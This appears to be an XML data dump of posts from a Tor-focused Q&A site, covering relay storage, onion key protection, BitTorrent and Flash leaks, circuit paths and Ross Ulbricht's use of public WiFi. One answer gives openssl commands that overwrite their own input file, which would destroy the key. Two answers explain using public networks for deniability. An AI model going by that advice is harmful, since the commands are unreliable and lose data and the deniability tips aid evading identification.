  <row Id="16775" PostTypeId="1" AcceptedAnswerId="16787" CreationDate="2018-03-01T18:49:43.000" Score="1" ViewCount="418" Body="&lt;p&gt;I run a Raspberry Pi as a TOR node and use an SD card. The last SD card died, probably due to too much data being written to it.&lt;/p&gt;&#xA;&lt;p&gt;I'm already using the setting&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AvoidDiskWrites 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So I've set up Raspbian with two read-only filesystems (&lt;code&gt;boot&lt;/code&gt; and &lt;code&gt;rootfs&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/var/log&lt;/code&gt; is a &lt;code&gt;tmpfs&lt;/code&gt;, I have a file &lt;code&gt;/var/log/tor/notices.log&lt;/code&gt; where TOR can write to.&lt;/p&gt;&#xA;&lt;p&gt;I have one writable filesystem which is mounted to &lt;code&gt;/var/lib/tor&lt;/code&gt;, because I've seen that TOR is writing to that directory.&lt;/p&gt;&#xA;&lt;p&gt;That's the files there are:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  /var/lib/tor&#xA;  &#xA;    cached-certs&#xA;    cached-consensus&#xA;    cached-descriptors&#xA;    cached-descriptors.new&#xA;    cached-microdesc-consensus&#xA;    cached-microdescs&#xA;    cached-microdescs.new&#xA;    fingerprint&#xA;    lock&#xA;    state&#xA;  &#xA;    cached-status/&#xA;    &#xA;    keys/ed25519_master_id_public_key&#xA;    keys/ed25519_master_id_secret_key&#xA;    keys/ed25519_signing_cert&#xA;    keys/ed25519_signing_secret_key&#xA;    keys/secret_id_key&#xA;    keys/secret_onion_key&#xA;    keys/secret_onion_key_ntor&#xA;    keys/secret_onion_key_ntor.old&#xA;    keys/secret_onion_key.old&#xA;  &#xA;    stats/dirreq-stats&#xA;    stats/hidserv-stats&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I see via &lt;code&gt;/sys/fs/ext4/mmcblk0p3/lifetime_write_kbytes&lt;/code&gt; that there's quite some amount of data continuously written to that folder.&lt;/p&gt;&#xA;&lt;p&gt;The files which get updated often are&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cached-consensus&#xA;cached-descriptors&#xA;cached-descriptors.new&#xA;cached-microdesc-consensus&#xA;cached-microdescs.new&#xA;lock&#xA;state&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And &lt;code&gt;cached-descriptors&lt;/code&gt; is by far the biggest.&lt;/p&gt;&#xA;&lt;p&gt;I'd like to have that data written to a &lt;code&gt;tmpfs&lt;/code&gt;, if possible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Questions&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Do those files need to be persistent (e.g. for sure &lt;code&gt;fingerprint&lt;/code&gt; and everything in folder &lt;code&gt;keys&lt;/code&gt;, but they don't change during runtime), or is it okay if I have them in a &lt;code&gt;tmpfs&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I could not find anything in the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide&quot; rel=&quot;nofollow noreferrer&quot;&gt;relay documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15665" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2018-03-04T00:21:40.987" Title="Raspberry with TOR relay and read-only filesystems" Tags="|relays|raspberry-pi|raspbian|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16778" PostTypeId="1" CreationDate="2018-03-02T09:26:13.997" Score="1" ViewCount="83" Body="&lt;p&gt;I have some suggestions for Tor Browser Interface. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The configuration option which configures what ports tor browser connects through has been moved to a place where it does not appear when the configure button is clicked, and it only accessible after a successful connection. This could make it very difficult for people who are connecting through a firewall that only allows certain ports to configure this option, and I would suggest it is moved back.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The option to configure tor browser to use bridge relays has been renamed to &quot;Tor is censored in my country&quot;. Even if in America, it could be a company, school, college, etc. firewall that is blocking the tor network (thus bridges would be useful). I would suggest ISP, firewall, etc, after the word Country.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there a current way to submit suggestions directly to tor project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2018-06-02T02:22:07.683" Title="How to submit suggestions to tor project?" Tags="|tor-browser-bundle|network-configuration|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16784" PostTypeId="2" ParentId="16723" CreationDate="2018-03-03T08:14:09.963" Score="0" Body="&lt;p&gt;As far as I know, open the orbot and just click &lt;strong&gt;connect&lt;/strong&gt;.&#xA;And turn on the vpn, firstly because it hides your location from where you're using Tor. And secondly because guardian project wouldn't have included the vpn option in the orbot app if it was an anonymity compromising option.&#xA;Also,don't change any default settings in the orbot app. &lt;/p&gt;&#xA;" OwnerUserId="21234" LastActivityDate="2018-03-03T08:14:09.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16786" PostTypeId="2" ParentId="16778" CreationDate="2018-03-04T00:13:03.857" Score="1" Body="&lt;p&gt;To submit a suggestion or a feature request, then you should open a ticket on the Tor Project bug tracker at &lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you do submit it, you may find that the changes to the Tor Launcher menu are already assigned to a ticket and you should get yourself up to date on the discussion and rationale behind the changes, to ensure that your suggestions are relevant or take into account the reasons for the change.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-03-04T00:13:03.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16787" PostTypeId="2" ParentId="16775" CreationDate="2018-03-04T00:21:40.987" Score="1" Body="&lt;p&gt;For a relay, the only things that are really important to persist are the keys and config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The state and descriptors might update frequently, the only issue with not persisting them would be that each time it started it would end up having to redownload the entire consensus directly from the directory authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how often you restart the device (I.E. that the tmpfs filesystem is created anew with the files no longer present) this might be wasteful, but for most relay uptimes it's probably not too much of a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been previous projects that just create a Tor relay with a entirely RAM backed filesystem, so that no long-term storage is required. Projects like &lt;a href=&quot;https://en.wikipedia.org/wiki/Tor-ramdisk&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-ramdisk&lt;/a&gt;, in that case they just keep the relays identity and config. While it's not targeted at RPis, it might give you ideas of how to approach it in your own project.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-03-04T00:21:40.987" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16789" PostTypeId="1" CreationDate="2018-03-04T03:39:52.830" Score="1" ViewCount="1523" Body="&lt;p&gt;1) Do VPNs not leak IP while bittorrenting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does TOR leak IP while bittorrenting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes why are VPNs safe while TOR is not in respect to Bittorrent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Why don't VPNs warn abvout Flash while TOR seems to leak while using Flash? Does this mean VPNs are also safe from Flash IP leaks while TOR is vulnerable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why can't TOR solve these leaks while VPNs seem to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Is this due to TOR using a proxy and not tunneling traffic unlike a VPN?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) Is there a solution for this like having the TOR proxy on a router or other PC and having it act as VPN and tunnel traffic through the router?&lt;/p&gt;&#xA;" OwnerUserId="21242" LastActivityDate="2018-10-05T16:00:12.360" Title="Why does TOR leak IP through Bittorrent and Flash while VPNs don't?" Tags="|vpn|openvpn|bittorrent|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16791" PostTypeId="1" AcceptedAnswerId="16796" CreationDate="2018-03-04T12:50:42.623" Score="0" ViewCount="734" Body="&lt;p&gt;i want to move my onion hosting from my local ubuntu 16 server to an hosting service one. My only concern is: how can i keep my domain generating privatekey totally safe? I've spent 12 days to generate my unique onion address and i really don't want to lose it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to encrypt them, lock them or anything else? &lt;/p&gt;&#xA;" OwnerDisplayName="user21205" LastEditorDisplayName="user21205" LastEditDate="2018-03-04T13:44:44.740" LastActivityDate="2018-03-05T01:50:22.403" Title="How to avoid your onion host privatekey to be stolen?" Tags="|tor-browser-bundle|web-hosting|private|private-key|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16792" PostTypeId="2" ParentId="16789" CreationDate="2018-03-04T14:27:59.793" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1) Do VPNs not leak IP while bittorrenting?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Part of the BitTorrent protocol is that you tell your IP address to other BitTorrent clients so you can share your content. Tor can't prevent you from sending deanonymizing data over Tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2) Why don't VPNs warn abvout Flash while TOR seems to leak while using Flash? Does this mean VPNs are also safe from Flash IP leaks while TOR is vulnerable?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;VPNs are applied system wide, Tor provides a proxy. VPNs use the kernel to enforcing routing traffic over the VPN while Tor requires the application to be configured to use the proxy. Flash could still leak IPs even if using a VPN in the same way, by discovering it locally then reporting it over the VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;No one should be using Flash anymore, for any reason&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3) Is this due to TOR using a proxy and not tunneling traffic unlike a VPN?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. See above.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4) Is there a solution for this like having the TOR proxy on a router or other PC and having it act as VPN and tunnel traffic through the router?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transparent Proxying&lt;/a&gt; would solve this issue, or better using a Tor enforcing firewall like that used by Tails. It's still subject to the same problems described with a VPN and Flash like BitTorrent can still leak your IP, etc.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2018-03-04T14:27:59.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16796" PostTypeId="2" ParentId="16791" CreationDate="2018-03-05T01:01:19.400" Score="0" Body="&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Run tor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Encrypt key:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;openssl enc -aes-256-cbc -salt -pbkdf2 -in /var/lib/tor/example.onion/hs_ed25519_secret_key &amp;gt; /var/lib/tor/example.onion/hs_ed25519_secret_key&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Profit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; To restart again you need to stop tor daemon, decrypt your key:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;openssl enc -d -aes-256-cbc -salt -pbkdf2 -in /var/lib/tor/example.onion/hs_ed25519_secret_key &amp;gt; /var/lib/tor/example.onion/hs_ed25519_secret_key&lt;/code&gt;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and repeat &lt;strong&gt;1&lt;/strong&gt;, &lt;strong&gt;2&lt;/strong&gt; steps&lt;/p&gt;&#xA;" OwnerUserId="21252" LastActivityDate="2018-03-05T01:01:19.400" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16797" PostTypeId="2" ParentId="16791" CreationDate="2018-03-05T01:50:22.403" Score="1" Body="&lt;p&gt;To my knowledge, there is currently no way to avoid that your key, at least for a short time, is on your server in cleartext.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/NextGenOnions&quot; rel=&quot;nofollow noreferrer&quot;&gt;next generation onion services (V3)&lt;/a&gt; will allow you to do that once ticket &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/18098&quot; rel=&quot;nofollow noreferrer&quot;&gt;#18098 (offline keys)&lt;/a&gt; has been implemented. Beware that the addresses differ from V2 addresses and you'll have to create a new onion address.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2018-03-05T01:50:22.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16800" PostTypeId="1" CreationDate="2018-03-05T17:38:56.207" Score="1" ViewCount="583" Body="&lt;p&gt;So I was curious. I was reading up on the dark net market the silk road and it mentioned that the “owner” always used Tor through public wifi. Is there any particular benefit from doing that, or was that just him being him?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor itself is secure regardless of what network it’s on, so I’m just curious why he chose to be in a public place instead of a private place (which ultimately led to his arrest).&lt;/p&gt;&#xA;" OwnerUserId="21260" LastActivityDate="2018-07-05T04:58:08.607" Title="Why did Ross Ulbricht only use public WiFi?" Tags="|tor-browser-bundle|security|darknet|silk-road|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16802" PostTypeId="1" CreationDate="2018-03-05T23:42:30.637" Score="1" ViewCount="722" Body="&lt;p&gt;I need your help for 2 questions that I'm struggling with.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How does the path of nodes matters to the connections speed? E.g will my connections speed be faster if the tor connection goes: Germany-&gt;China-&gt;Argentina-&gt;France instead of Germany-&gt;Denmark-&gt;Italy-&gt;France. I suppose the answer to this is yes but please elaborate if there are any specific details that a newcomer might miss.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the answer to the first question is yes, is there a way to tweak the path that my connection will take. E.g If I'm in Germany and want to access a French website, can I somehow tell tor to use only European nodes?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="21261" LastEditorUserId="31632" LastEditDate="2021-05-25T20:41:06.137" LastActivityDate="2022-02-19T21:07:25.743" Title="Tor customize connection path and speed" Tags="|tor-browser-bundle|connection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16804" PostTypeId="2" ParentId="16800" CreationDate="2018-03-06T08:13:23.150" Score="0" Body="&lt;p&gt;Plausible deniability - if you use publicly available wifi, whatever communications you make, you can claim it wasn't you, but someone sitting at the next table, or even outside.  If it was using your L2 address, you can claim it was spoofed.  This is all true, even if the connection is encrypted - all the nodes on a common WPA using network are using the same key, and can see each others connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do try to claim it wasn't you connecting at your home network, that will become less and less likely the more times it happens - this is true even for the public networks, but I think the &quot;feel&quot; of uncertainty with that argument never goes away on a public network, but it becomes less and less defendable at a known private network.&lt;/p&gt;&#xA;" OwnerUserId="10214" LastActivityDate="2018-03-06T08:13:23.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16805" PostTypeId="2" ParentId="1312" CreationDate="2018-03-06T23:14:58.073" Score="1" Body="&lt;p&gt;Tor doesn't work well as a single-hop proxy anymore.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Major features (relays control their load better):&lt;br&gt;&#xA;  Exit relays now try harder to block exit attempts from unknown&#xA;  relays, to make it harder for people to use them as one-hop proxies&#xA;  a la tortunnel. Controlled by the refuseunknownexits consensus&#xA;  parameter (currently enabled), or you can override it on your&#xA;  relay with the RefuseUnknownExits torrc option. Resolves bug 1751;&#xA;  based on a variant of proposal 163.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://blog.torproject.org/tor-02232-released&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor 0.2.2.32 is released&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21271" LastActivityDate="2018-03-06T23:14:58.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16806" PostTypeId="2" ParentId="16800" CreationDate="2018-03-07T01:57:07.963" Score="1" Body="&lt;p&gt;In a private network you are all alone with your ISP, even if you use Tor. They know the connection coming to your home, they know when you connect to the Internet, they know when you switch to another network etc. In some countries ISPs are more powerful than you can imagine. For example, in Turkey ISPs are instantly sharing information with government units.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second reason is, in a home environment, every device you use for connecting to the Internet is keeping logs, like your router, your switch etc. And they are obviously 'yours', 'belongs to you' when they have found in your home. But when you use a public network, the devices you use won't be your devices - they are public. It's like using a public toilet, no one can search for your DNAs in a public toilet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in a public network, the only fingerprint you left behind might be your computer hardware, if you use your own device. But if you are also using a public PC, no worries, it's not yours. When it comes to public or temporary devices, you can always claim it's not yours. That's why many people use small and portable devices like raspberry pi etc. or use public PCs.&lt;/p&gt;&#xA;" OwnerUserId="21274" LastEditorUserId="21274" LastEditDate="2018-03-07T02:03:35.507" LastActivityDate="2018-03-07T02:03:35.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16807" PostTypeId="1" CreationDate="2018-03-07T03:34:52.297" Score="4" ViewCount="358" Body="&lt;p&gt;I'd like to ask if anybody knows why all bridges suddenly go offline at random times? &#xA;It can be viewed via the Tor metrics chart which shows how number of active bridges often hits zero and then comes back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uUe5o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uUe5o.png&quot; alt=&quot;Relay between dec 2017 and Mar 2018&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Q58F0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q58F0.png&quot; alt=&quot;Relays between Dec 2017 and Jan 2018&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://metrics.torproject.org/networksize.png?start=2017-01-01&amp;amp;end=2018-01-01&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://metrics.torproject.org/networksize.png?start=2017-01-01&amp;amp;end=2018-01-01&quot; alt=&quot;Relays between Jan 2017 and Jan 2018&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21276" LastEditorUserId="88" LastEditDate="2018-03-12T22:23:47.657" LastActivityDate="2018-10-09T01:00:09.960" Title="Why do bridges collapse?" Tags="|bridge|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16809" PostTypeId="1" CreationDate="2018-03-07T10:15:42.523" Score="1" ViewCount="91" Body="&lt;p&gt;TorBrowser gives me same IP address for consecutive sessions after getting new identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal behavior?&lt;/p&gt;&#xA;" OwnerUserId="21279" OwnerDisplayName="torq" LastEditorUserId="21280" LastEditDate="2018-03-27T20:18:37.293" LastActivityDate="2018-03-27T20:18:37.293" Title="Tor New Identity" Tags="|anonymity|" AnswerCount="0" CommentCount="1" ClosedDate="2019-02-25T19:50:00.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="16811" PostTypeId="2" ParentId="13608" CreationDate="2018-03-07T17:04:59.903" Score="0" Body="&lt;p&gt;If you bought any book on Kindle. There's no way to become anonymous any more. Because already &lt;strong&gt;Amazon&lt;/strong&gt; took your credit card information. They know you, but you can use Tails Operating Systems, or proxy for becoming anonymous online.&lt;/p&gt;&#xA;" OwnerUserId="21283" LastActivityDate="2018-03-07T17:04:59.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16812" PostTypeId="2" ParentId="16789" CreationDate="2018-03-07T17:07:47.400" Score="0" Body="&lt;p&gt;GET Request's will leak your Real location, IP etc. VPN's like tunnels. But Tor is just an bridge to the internet.&lt;/p&gt;&#xA;" OwnerUserId="21283" LastActivityDate="2018-03-07T17:07:47.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16820" PostTypeId="2" ParentId="16424" CreationDate="2018-03-08T14:22:21.443" Score="1" Body="&lt;p&gt;It is not safe to use ftp over TOR. It will not leak your IP, but ftp is a clear-text-protocol. So your ftp username and password can easily be sniffed from the TOR exit node - using tcpdump or similar tools.&lt;/p&gt;&#xA;" OwnerUserId="21297" LastActivityDate="2018-03-08T14:22:21.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16822" PostTypeId="2" ParentId="16735" CreationDate="2018-03-08T17:09:00.017" Score="-1" Body="&lt;p&gt;It's possible but relays won't do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor uses &quot;relay early&quot; cell, which is used to prevent people from building very long paths in the Tor network. Very long paths can be used to induce congestion and aid in breaking anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been addressed in this proposal &lt;a href=&quot;https://github.com/torproject/torspec/blob/master/proposals/110-avoid-infinite-circuits.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;avoid-infinite-circuits&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An attacker can add load to the Tor network by extending a&#xA;    circuit an arbitrary number of times. Every cell that goes down the&#xA;    circuit then adds N times that amount of load in overall bandwidth&#xA;    use. This vulnerability arises because servers don't know their position&#xA;    on the path, so they can't tell how many nodes there are before them&#xA;    on the path.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We propose a new set of relay cells that are distinguishable by&#xA;    intermediate hops as permitting extend cells. This approach will allow&#xA;    us to put an upper bound on circuit length relative to the number of&#xA;    colluding adversary nodes.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Only K (say, 10) Relay_early cells can be sent across a circuit, and&#xA;    only relay_early cells are allowed to contain extend requests. Each &#xA;    intermediate server would pass on the same type of cell that it&#xA;    received (either relay or relay_early), and the cell's destination&#xA;    will be able to learn whether it's allowed to contain an Extend request.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If an intermediate server receives more than K relay_early cells, or&#xA;    if it sees a relay cell that contains an extend request, then it&#xA;    tears down the circuit (protocol violation).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14395" LastActivityDate="2018-03-08T17:09:00.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16823" PostTypeId="2" ParentId="16789" CreationDate="2018-03-08T18:07:38.487" Score="1" Body="&lt;p&gt;A BitTorrent client learns its actual IP Address through port mapping protocols. It uses &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6886&quot; rel=&quot;nofollow noreferrer&quot;&gt;NAT - PMP&lt;/a&gt;, &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6887&quot; rel=&quot;nofollow noreferrer&quot;&gt;PCP&lt;/a&gt; and &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6970&quot; rel=&quot;nofollow noreferrer&quot;&gt;uPnP&lt;/a&gt; for external IP Address discovery.&lt;/p&gt;&#xA;&lt;p&gt;To join a torrent, a client sends an &lt;strong&gt;announce&lt;/strong&gt; message to the&#xA;tracker that maintains the list of all peers in that torrent. This announce message contains an &lt;em&gt;optional&lt;/em&gt; parameter, the IP address of the interface from which a client sent the message according to the &lt;a href=&quot;https://wiki.theory.org/index.php/BitTorrentSpecification#Tracker_Request_Parameters&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitTorrentSpecification#Tracker_Request_Parameters&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;According to this &lt;a href=&quot;https://hal.inria.fr/file/index/docid/471556/filename/TorBT.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;research paper&lt;/a&gt;, this behaviour was seen in µTorrent, BitSpirit, and libTorrent. I think now this optional parameter is left empty and completely ignored by the tracker servers. They also found that &lt;strong&gt;Extension protocol handshakes&lt;/strong&gt;  might also contain the user’s IP address. Tor can't help if you anonymously send deanonymizing information about yourself.&lt;/p&gt;&#xA;&lt;p&gt;While this kind of deanonymizing information can even deanonymize a client behind a VPN, I think this is no longer happen since the BitTorrent protocol has been gone through various enhancement protocols. It was a problem when this research paper was published but it doesn't happen now.&lt;/p&gt;&#xA;&lt;p&gt;Today, the only threat which happen on Tor but not on VPN is if a client uses &lt;strong&gt;DHT&lt;/strong&gt;. DHT runs on top of &lt;strong&gt;UDP&lt;/strong&gt; to find peers in a torrent and &lt;em&gt;Tor does not support UDP at all&lt;/em&gt;. So a DHT client can communicate directly to the other DHT nodes by completely ignoring the Tor circuit. This was the case by default with µTorrent. This answers your question why is VPN safe for BitTorrent but not Tor. This is still a problem if you use BitTorrent over Tor with &lt;strong&gt;DHT enabled&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;An application can completely ignore the Tor circuit and communicate directly with its actual IP Address if it is not configured to use Tor. VPN routes entire traffic of your PC by creating virtual adapter. If flash is not configured to use Tor, it may nit see the Tor circuit.&lt;/p&gt;&#xA;" OwnerUserId="14395" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2018-03-08T18:07:38.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16828" PostTypeId="2" ParentId="8636" CreationDate="2018-03-09T10:54:48.003" Score="0" Body="&lt;p&gt;It is true that hidden services don't use exit nodes, but from what was mentioned in the scene, it can be implied that the local traffic from Ron to his servers (where a HS was hosted) is what Elliot must have sniffed. Elliot is physically at the coffee shop and on the same connection (the gigabit connection mentioned) used by Ron. It's rather implied that all he had to do was compromise Ron's local servers regardless of his Tor usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the movie dialogue, Elliot must have compromised into Ron's system and accessed the files. It can also mean he could then have created few exit nodes to monitor further incoming traffic from the servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was demonstrated Swedish Researcher Dan Egerstad that it is possible to intercept information by controlling a few exit nodes.&lt;a href=&quot;https://www.wired.com/2007/09/rogue-nodes-turn-tor-anonymizer-into-eavesdroppers-paradise/?currentPage=all&quot; rel=&quot;nofollow noreferrer&quot;&gt;Read this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also given the time of the episode launch in 2015, it can be assumed that the show wanted to hint over the recent vulnerability disclosed in TOR Browser Bundle by the researchers at the MIT. &lt;a href=&quot;http://news.mit.edu/2015/tor-vulnerability-0729&quot; rel=&quot;nofollow noreferrer&quot;&gt;Read This&lt;/a&gt;. This issue has been &lt;a href=&quot;http://searchsecurity.techtarget.com/news/450404066/Patched-Tor-browser-vulnerability-puts-users-identity-at-risk&quot; rel=&quot;nofollow noreferrer&quot;&gt;patched&lt;/a&gt; since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, technically it was possible to do the hack at the time it was mentioned assuming Elliot compromised Ron's local servers.&lt;/p&gt;&#xA;" OwnerUserId="21307" LastActivityDate="2018-03-09T10:54:48.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16829" PostTypeId="1" CreationDate="2018-03-09T11:46:07.933" Score="0" ViewCount="136" Body="&lt;p&gt;Ive noticed of late a good number of websites block tor using either google capture or its other popular compatriot. Has anyone figured out how to go around this while still using tor. With the latter, you click a few images of busses traffic signs or roads and you are in but google is brutal and wont allow you in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is tor making any progress to rectify this e.g. adding ne ip addresses on a minute by minute basis?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastActivityDate="2018-03-09T18:02:38.273" Title="How to go around websites that block or flag to ip addresses" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
